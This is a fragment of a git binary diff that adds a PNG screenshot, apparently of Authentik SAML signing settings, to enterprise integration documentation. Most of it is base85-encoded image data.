zx(CpfK6ihX!3AZmWtGyt6(d|pLlNzKxz}$n*tps2You=L9AmD?Fkdqv@nI@;_)Hb2 z=-oh*cP)eJcOr(Tk}3zz?jIa9T;_Q=T=gj9!M{k3_6e8i$m`!+wLJQs)U2K^X8Pf@ zJbCUO?wOxLm6~&H7aV~Igg*bii3RLO(+Y1Dj`xb6_xe>AK7W`w*j01SrvGmt%hqIy z%w+WjEBbK!9M{sRSr+NZF|RzYfwlyIw895=Alpblp%1K72+Lu)j}Wd8iyY!ULhq(U q8qjeP4#f#_&^0(L|98ku_|M++xLMco@477vK;Y@>=d#Wzp$Py)E`>S( literal 0 HcmV?d00001 diff --git a/enterprise/integrations/saml-providers/images/authentik-05-signing-toggles.png b/enterprise/integrations/saml-providers/images/authentik-05-signing-toggles.png new file mode 100644 index 0000000000000000000000000000000000000000..f633709da6358fdb2c5660544dd78d6d6cab41c6 GIT binary patch literal 102161 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 